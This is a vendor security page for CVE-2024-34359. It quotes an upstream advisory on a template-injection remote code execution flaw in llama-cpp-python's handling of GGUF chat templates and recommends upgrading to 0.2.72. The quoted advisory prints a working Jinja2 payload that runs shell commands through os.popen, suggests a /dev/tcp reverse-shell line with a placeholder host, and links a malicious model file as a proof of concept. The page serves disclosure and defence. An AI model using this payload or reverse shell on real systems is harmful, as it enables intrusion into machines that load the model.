HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members
  • Sponsor HOL
  • Advertise with HOL

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.
  • CIGARPoint your coding agent at the right lines and cut its token bill by about a third.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.
  • Gauntlet benchmarkGuard tested with real coding agents: safe work runs, risky actions stop.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorFund agreed research, implementation and shared testing through the HOL Partner Program.
  • AdvertiseCompare README logo placements, previews and monthly prices, or promote a plugin or extension.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2024 34359 llama cpp python vulnerable to remote code
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard

Get HOL Guard for your computer

HOL Guard is a free desktop app that watches what coding agents such as Claude Code, Codex and Cursor run, read and install, and asks you before anything risky happens.

  • Download for macOS
  • Windows download
  • Linux download

Free. macOS 13+ on Apple silicon, Windows x64, Linux AppImage. Other ways to install

Star HOL Guard on GitHub to download
Runs on
macOS 13 or later on Apple silicon, Windows x64 and Linux x86_64.
Price
Free. Paid plans add Guard Cloud for teams. See pricing
Where your data stays
On your computer. Guard Cloud is optional.
Token savings
58.6% to 61.5% fewer tokens across three coding agents in our CIGAR benchmark.

HOL

HOL builds open infrastructure for AI agents: HOL Guard, a directory of AI plugins and MCP servers, an AI agent registry and the open HCS standards.

  • GitHub (opens in a new tab)
  • X (Twitter) (opens in a new tab)
  • YouTube (opens in a new tab)
  • Telegram (opens in a new tab)

HOL Guard

  • What is HOL Guard
  • Features
  • Cut coding agent token costs (CIGAR)
  • Install Guard
  • Download the desktop app
  • Pricing
  • Guard for teams
  • Compare Guard
  • Release notes

Guard for your AI tool

  • Guard for Claude Code
  • Guard for Codex
  • Guard for Cursor
  • Guard for GitHub Copilot CLI
  • Guard for OpenCode
  • Guard for Pi and Oh My Pi
  • Guard for Hermes
  • Guard for OpenClaw
  • All supported AI tools

Research and security

  • Gauntlet: Guard tested with real agents
  • CIGAR token benchmark
  • Research
  • AI security hub
  • Security advisories
  • Active CVEs in AI tools
  • AI agent security guides
  • Extensions and coverage

Plugins and MCP servers

  • Browse AI plugins
  • New plugin launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins

AI agent registry

  • Best AI agents
  • Best ERC-8004 agents
  • Best Virtuals agents
  • Best A2A agents
  • Best x402 payable agents
  • Submit an ERC-8004 contract
  • Feature your agent

Developers

  • Guard docs
  • Documentation index
  • Developer hub
  • Registry API reference
  • OpenAPI spec
  • Registry OpenAPI spec
  • Run in Postman (opens in a new tab)
  • HCS standards

Company

  • About HOL
  • Blog
  • Contribute to HOL
  • Guard contributors
  • Sponsor
  • Advertise
  • Affiliate program
  • Contact

Copyright ยฉ 2026 HOL DAO LLC. All rights reserved.

  • Privacy
  • Terms of Service
Back to active CVEs
Critical ยท CVSS 9.6CVE-2024-34359GHSA-56XG-WFCC-G829

llama-cpp-python vulnerable to Remote Code Execution by Server-Side Template Injection in Model MetadataCVE-2024-34359

Answer in brief

CVE-2024-34359 records a Critical severity (CVSS 9.6) vulnerability in llama-cpp-python vulnerable to Remote Code Execution by Server-Side Template Injection in Model Metadata. The current sources do not mark it as known exploited. The current feed maps llama-cpp-python (pip), llama-cpp-python (pypi). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published May 13, 2024Updated Nov 16, 2026Source checked Nov 16, 2026First seen by HOL Nov 16, 2026Material review Nov 16, 2026
Upstream Advisory

Key facts

Risk
Critical ยท CVSS 9.6
Exploitation
Not marked as known exploited
Affected software
2 mapped packages or products
Fix availability
Available

Why this deserves its current priority

CVSS is 9.6. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps llama-cpp-python (pip), llama-cpp-python (pypi). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
llama-cpp-pythonpip>=0.2.30,<=0.2.710.2.72
llama-cpp-pythonpypi>=0.2.30 <0.2.720.2.72

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for llama-cpp-python, llama-cpp-python.
  2. 2Review the reported fix. Update llama-cpp-python to 0.2.72; llama-cpp-python to 0.2.72 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    May 13, 2024

    Evidence: source:ghsa:source_dates:source-dates:record
  2. Source modified

    Nov 16, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  3. First seen by HOL

    Nov 16, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • NVD vulnerability recordnvd.nist.gov
  • Source referencepypi.org
  • GitHub security advisorygithub.com
Upstream source description

## Description `llama-cpp-python` depends on class `Llama` in `llama.py` to load `.gguf` llama.cpp or Latency Machine Learning Models. The `__init__` constructor built in the `Llama` takes several parameters to configure the loading and running of the model. Other than `NUMA, LoRa settings`, `loading tokenizers,` and `hardware settings`, `__init__` also loads the `chat template` from targeted `.gguf` 's Metadata and furtherly parses it to `llama_chat_format.Jinja2ChatFormatter.to_chat_handler()` to construct the `self.chat_handler` for this model. Nevertheless, `Jinja2ChatFormatter` parse the `chat template` within the Metadate with sandbox-less `jinja2.Environment`, which is furthermore rendered in `__call__` to construct the `prompt` of interaction. This allows `jinja2` Server Side Template Injection which leads to RCE by a carefully constructed payload. ## Source-to-Sink ### `llama.py` -> `class Llama` -> `__init__`: ```python class Llama: """High-level Python wrapper for a llama.cpp model.""" __backend_initialized = False def __init__( self, model_path: str, # lots of params; Ignoring ): self.verbose = verbose set_verbose(verbose) if not Llama.__backend_initialized: with suppress_stdout_stderr(disable=verbose): llama_cpp.llama_backend_init() Llama.__backend_initialized = True # Ignoring lines of unrelated codes..... try: self.metadata = self._model.metadata() except Exception as e: self.metadata = {} if self.verbose: print(f"Failed to load metadata: {e}", file=sys.stderr) if self.verbose: print(f"Model metadata: {self.metadata}", file=sys.stderr) if ( self.chat_format is None and self.chat_handler is None and "tokenizer.chat_template" in self.metadata ): chat_format = llama_chat_format.guess_chat_format_from_gguf_metadata( self.metadata ) if chat_format is not None: self.chat_format = chat_format if self.verbose: print(f"Guessed chat format: {chat_format}", file=sys.stderr) else: template = self.metadata["tokenizer.chat_template"] try: eos_token_id = int(self.metadata["tokenizer.ggml.eos_token_id"]) except: eos_token_id = self.token_eos() try: bos_token_id = int(self.metadata["tokenizer.ggml.bos_token_id"]) except: bos_token_id = self.token_bos() eos_token = self._model.token_get_text(eos_token_id) bos_token = self._model.token_get_text(bos_token_id) if self.verbose: print(f"Using gguf chat template: {template}", file=sys.stderr) print(f"Using chat eos_token: {eos_token}", file=sys.stderr) print(f"Using chat bos_token: {bos_token}", file=sys.stderr) self.chat_handler = llama_chat_format.Jinja2ChatFormatter( template=template, eos_token=eos_token, bos_token=bos_token, stop_token_ids=[eos_token_id], ).to_chat_handler() if self.chat_format is None and self.chat_handler is None: self.chat_format = "llama-2" if self.verbose: print(f"Using fallback chat format: {chat_format}", file=sys.stderr) ``` In `llama.py`, `llama-cpp-python` defined the fundamental class for model initialization parsing (Including `NUMA, LoRa settings`, `loading tokenizers,` and stuff ). In our case, we will be focusing on the parts where it processes `metadata`; it first checks if `chat_format` and `chat_handler` are `None` and checks if the key `tokenizer.chat_template` exists in the metadata dictionary `self.metadata`. If it exists, it will try to guess the `chat format` from the `metadata`. If the guess fails, it will get the value of `chat_template` directly from `self.metadata.self.metadata` is set during class initialization and it tries to get the metadata by calling the model's metadata() method, after that, the `chat_template` is parsed into `llama_chat_format.Jinja2ChatFormatter` as params which furthermore stored the `to_chat_handler()` as `chat_handler` ### `llama_chat_format.py` -> `Jinja2ChatFormatter`: `self._environment = jinja2.Environment( -> from_string(self.template) -> self._environment.render(` ```python class ChatFormatter(Protocol): """Base Protocol for a chat formatter. A chat formatter is a function that takes a list of messages and returns a chat format response which can be used to generate a completion. The response can also include a stop token or list of stop tokens to use for the completion.""" def __call__( self, *, messages: List[llama_types.ChatCompletionRequestMessage], **kwargs: Any, ) -> ChatFormatterResponse: ... class Jinja2ChatFormatter(ChatFormatter): def __init__( self, template: str, eos_token: str, bos_token: str, add_generation_prompt: bool = True, stop_token_ids: Optional[List[int]] = None, ): """A chat formatter that uses jinja2 templates to format the prompt.""" self.template = template self.eos_token = eos_token self.bos_token = bos_token self.add_generation_prompt = add_generation_prompt self.stop_token_ids = set(stop_token_ids) if stop_token_ids is not None else None self._environment = jinja2.Environment( loader=jinja2.BaseLoader(), trim_blocks=True, lstrip_blocks=True, ).from_string(self.template) def __call__( self, *, messages: List[llama_types.ChatCompletionRequestMessage], functions: Optional[List[llama_types.ChatCompletionFunction]] = None, function_call: Optional[llama_types.ChatCompletionRequestFunctionCall] = None, tools: Optional[List[llama_types.ChatCompletionTool]] = None, tool_choice: Optional[llama_types.ChatCompletionToolChoiceOption] = None, **kwargs: Any, ) -> ChatFormatterResponse: def raise_exception(message: str): raise ValueError(message) prompt = self._environment.render( messages=messages, eos_token=self.eos_token, bos_token=self.bos_token, raise_exception=raise_exception, add_generation_prompt=self.add_generation_prompt, functions=functions, function_call=function_call, tools=tools, tool_choice=tool_choice, ) ``` As we can see in `llama_chat_format.py` -> `Jinja2ChatFormatter`, the constructor `__init__` initialized required `members` inside of the class; Nevertheless, focusing on this line: ```python self._environment = jinja2.Environment( loader=jinja2.BaseLoader(), trim_blocks=True, lstrip_blocks=True, ).from_string(self.template) ``` Fun thing here: `llama_cpp_python` directly loads the `self.template` (`self.template = template` which is the `chat template` located in the `Metadate` that is parsed as a param) via `jinja2.Environment.from_string(` without setting any sandbox flag or using the protected `immutablesandboxedenvironment `class. This is extremely unsafe since the attacker can implicitly tell `llama_cpp_python` to load malicious `chat template` which is furthermore rendered in the `__call__` constructor, allowing RCEs or Denial-of-Service since `jinja2`'s renderer evaluates embed codes like `eval()`, and we can utilize expose method by exploring the attribution such as `__globals__`, `__subclasses__` of pretty much anything. ```python def __call__( self, *, messages: List[llama_types.ChatCompletionRequestMessage], functions: Optional[List[llama_types.ChatCompletionFunction]] = None, function_call: Optional[llama_types.ChatCompletionRequestFunctionCall] = None, tools: Optional[List[llama_types.ChatCompletionTool]] = None, tool_choice: Optional[llama_types.ChatCompletionToolChoiceOption] = None, **kwargs: Any, ) -> ChatFormatterResponse: def raise_exception(message: str): raise ValueError(message) prompt = self._environment.render( # rendered! messages=messages, eos_token=self.eos_token, bos_token=self.bos_token, raise_exception=raise_exception, add_generation_prompt=self.add_generation_prompt, functions=functions, function_call=function_call, tools=tools, tool_choice=tool_choice, ) ``` ## Exploiting For our exploitation, we first downloaded [qwen1_5-0_5b-chat-q2_k.gguf](https://huggingface.co/Qwen/Qwen1.5-0.5B-Chat-GGUF/blob/main/qwen1_5-0_5b-chat-q2_k.gguf) of `Qwen/Qwen1.5-0.5B-Chat-GGUF` on `huggingface` as the base of the exploitation, by importing the file to `Hex-compatible` editors (In my case I used the built-in `Hex editor` or `vscode`), you can try to search for key `chat_template` (imported as `template = self.metadata["tokenizer.chat_template"]` in `llama-cpp-python`): <img src="https://raw.githubusercontent.com/retr0reg/0reg-uploads/main/img/202405021808647.png" alt="image-20240502180804562" style="zoom: 25%;" /> `qwen1_5-0_5b-chat-q2_k.gguf` appears to be using the OG `role+message` and using the fun `jinja2` syntax. By first replacing the original `chat_template` in `\x00`, then inserting our SSTI payload. We constructed this payload which firstly iterates over the subclasses of the base class of all classes in Python. The expression `().__class__.__base__.__subclasses__()` retrieves a list of all subclasses of the basic `object` class and then we check if its `warning` by `if "warning" in x.__name__`, if it is , we access its module via the `_module` attribute then access Python's built-in functions through `__builtins__` and uses the `__import__` function to import the `os` module and finally we called `os.popen` to `touch /tmp/retr0reg`, create an empty file call `retr0reg` under `/tmp/` ```python {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("touch /tmp/retr0reg")}}{%endif%}{% endfor %} ``` in real life exploiting instance, we can change `touch /tmp/retr0reg` into arbitrary codes like `sh -i >& /dev/tcp/<HOST>/<PORT> 0>&1` to create a reverse shell connection to specified host, in our case we are using `touch /tmp/retr0reg` to showcase the exploitability of this vulnerability. <img src="https://raw.githubusercontent.com/retr0reg/0reg-uploads/main/img/202405022009159.png" alt="image-20240502200909127" style="zoom:50%;" /> After these steps, we got ourselves a malicious model with an embedded payload in `chat_template` of the `metahead`, in which will be parsed and rendered by `llama.py:class Llama:init -> self.chat_handler `-> `llama_chat_format.py:Jinja2ChatFormatter:init -> self._environment = jinja2.Environment(` -> ``llama_chat_format.py:Jinja2ChatFormatter:call -> self._environment.render(` *(The uploaded malicious model file is in https://huggingface.co/Retr0REG/Whats-up-gguf )* ```python from llama_cpp import Llama # Loading locally: model = Llama(model_path="qwen1_5-0_5b-chat-q2_k.gguf") # Or loading from huggingface: model = Llama.from_pretrained( repo_id="Retr0REG/Whats-up-gguf", filename="qwen1_5-0_5b-chat-q2_k.gguf", verbose=False ) print(model.create_chat_completion(messages=[{"role": "user","content": "what is the meaning of life?"}])) ``` Now when the model is loaded whether as ` Llama.from_pretrained` or `Llama` and chatted, our malicious code in the `chat_template` of the `metahead` will be triggered and execute arbitrary code. PoC video here: https://drive.google.com/file/d/1uLiU-uidESCs_4EqXDiyKR1eNOF1IUtb/view?usp=sharing

Quoted source text, attributed separately from HOL analysis.

Record context

Vulnerability class
RCE
EPSS
Not reported
CWE IDs
CWE-76
Source
GitHub Security Advisories
Source checked
Nov 16, 2026
References
7 linked sources
Open source record